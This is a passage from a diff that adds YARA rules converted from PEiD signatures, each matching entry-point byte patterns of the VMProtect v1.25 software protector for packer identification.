+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02787_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02788_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02789_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02790_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02791_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02792_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02793_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02794_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02795_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02796_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02797_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02798_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02799_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02800_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02801_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52}
+    condition:
+        $a
+}
+
+rule PEiD_02802_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02803_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02804_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02805_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02806_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02807_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02808_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02809_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02810_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02811_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02812_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02813_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02814_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02815_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02816_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02817_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02818_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02819_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02820_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02821_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02822_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02823_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02824_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02825_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02826_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02827_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02828_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02829_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02830_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02831_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02832_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02833_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02834_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02835_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02836_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02837_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02838_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02839_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02840_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02841_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02842_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02843_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02844_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02845_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
